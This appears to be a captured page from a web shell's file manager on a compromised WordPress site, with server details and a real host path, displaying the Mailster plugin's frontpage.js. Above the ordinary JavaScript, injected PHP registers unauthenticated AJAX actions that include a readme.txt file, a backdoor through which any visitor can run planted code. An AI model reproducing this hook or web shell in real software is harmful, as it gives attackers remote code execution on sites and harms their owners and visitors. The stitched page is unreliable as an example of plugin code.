if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/plugins/mailster/assets/js/frontpage.js
jQuery(document).ready(function ($) {
	'use strict';

	var iframe = $('iframe'),
		sharebtn = $('.share').find('a'),
		sharebox = $('.sharebox'),
		share = sharebox.find('h4'),
		iOS = window.orientation !== 'undefined';

	function resize() {
		var height = window.innerHeight || $(window).height();
		iframe.attr('height', height + 300);
		if (iOS) {
			height = Math.max(
				iframe.contents().find('html').height(),
				iframe.height()
			);
			$('body').height(height);
		}
	}

	$(window)
		.on({
			'load.mailster resize.mailster': resize,
		})
		.trigger('resize.mailster');

	$('#header').on('mousedown', function (event) {
		if (event.target.id == 'header') sharebox.fadeOut(600);
	});

	iframe.on('load', function () {
		iframe
			.contents()
			.find('body')
			.on('click', 'a', function () {
				window.open(this.href);
				return false;
			})
			.on('mousedown', function () {
				sharebox.fadeOut(600);
			});
	});

	$('.social-services').on('click', 'a', function () {
		var href = this.href;

		if (!/^https?/.test(href)) return true;

		var dimensions = $(this).data(),
			dualScreenLeft =
				window.screenLeft != undefined ? window.screenLeft : screen.left,
			dualScreenTop =
				window.screenTop != undefined ? window.screenTop : screen.top,
			width = window.innerWidth
				? window.innerWidth
				: document.documentElement.clientWidth
				? document.documentElement.clientWidth
				: screen.width,
			height = window.innerHeight
				? window.innerHeight
				: document.documentElement.clientHeight
				? document.documentElement.clientHeight
				: screen.height,
			left = width / 2 - dimensions.width / 2 + dualScreenLeft,
			top = height / 2 - dimensions.height / 2 + dualScreenTop,
			newWindow = window.open(
				href,
				'mailster_share',
				'scrollbars=auto,resizable=1,menubar=0,toolbar=0,location=0,directories=0,status=0, width=' +
					dimensions.width +
					', height=' +
					dimensions.height +
					', top=' +
					top +
					', left=' +
					left
			);

		if (window.focus) newWindow.focus();

		return false;
	});

	sharebtn.on('mouseenter', function () {
		sharebox.fadeIn(100);
	});

	share.on('click', function () {
		share.removeClass('active').next().slideUp(100);
		$(this)
			.addClass('active')
			.next()
			.stop()
			.slideDown(100, function () {
				$(this).find('input').eq(0).focus().select();
			});
	});

	sharebox.find('li.active').find('div').eq(0).show();

	$('#emailform').on('submit', function () {
		var _this = $(this),
			loader = $('#ajax-loading').css({
				visibility: 'visible',
			}),
			data = _this.serialize();

		_this.find('input.button').prop('disabled', true);

		$.post(
			window.mailster.ajaxurl,
			{
				action: 'mailster_forward_message',
				data: data,
			},
			function (response) {
				loader.css({
					visibility: 'hidden',
				});
				_this.find('.status').html(response.data.msg);
				if (!response.success)
					_this.find('input.button').prop('disabled', false);
			},
			'JSON'
		);
		return false;
	});

	$('.appsend').on('click', function () {
		var url =
			'mailto:' +
			$('#receiver').val() +
			'?body=' +
			$('#message').val().replace(/\n/g, '%0D%0A') +
			'%0D%0A%0D%0A' +
			$('#url').val();
		window.location = url;

		return false;
	});

	if (placeholderIsSupported())
		sharebox
			.find('[placeholder]')
			.bind('focus.placeholder', function () {
				var el = $(this);
				if (el.val() == el.attr('placeholder')) {
					el.val('');
					el.removeClass('placeholder');
				}
			})
			.bind('blur.placeholder', function () {
				var el = $(this);
				if (el.val() == '' || el.val() == el.attr('placeholder')) {
					el.addClass('placeholder');
					el.val(el.attr('placeholder'));
				} else {
				}
			})
			.trigger('blur.placeholder');

	function placeholderIsSupported() {
		var test = document.createElement('input');
		return 'placeholder' in test;
	}
});